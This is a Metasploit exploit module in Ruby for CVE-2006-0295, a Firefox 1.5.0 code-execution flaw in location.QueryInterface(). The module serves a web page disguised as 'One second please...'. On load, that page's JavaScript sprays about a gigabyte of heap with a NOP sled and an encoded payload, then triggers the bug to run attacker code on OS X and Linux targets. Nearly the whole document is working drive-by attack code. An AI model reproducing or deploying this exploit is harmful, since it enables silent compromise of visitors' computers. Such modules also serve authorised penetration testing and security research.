This Metasploit module exploits a code execution vulnerability in the Mozilla Firefox browser. To reliably exploit this vulnerability, we need to fill almost a gigabyte of memory with our nop sled and payload. This module has been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
68da1f78d3e93ac5d6c2f0d52c01784d5f629a3336fadd2e30ee6f133cbb252e##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox location.QueryInterface() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
},
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-0295'],
['OSVDB', '22893'],
['BID', '16476'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
],
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Firefox 1.5.0.0 Mac OS X',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC
}
],
[ 'Firefox 1.5.0.0 Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DisclosureDate' => 'Feb 02 2006'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
return %Q|
<html>
<head>
<title>One second please...</title>
<script language="javascript">
function BodyOnLoad() {
h = FillHeap();
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};
function FillHeap() {
// Filler
var m = "";
var h = "";
var a = 0;
// Nop sled
for(a=0; a<(1024*256); a++)
m += unescape("#{enc_nops}");
// Payload
m += unescape("#{enc_code}");
// Repeat
for(a=0; a<1024; a++)
h += m;
// Return
return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
|
end
end
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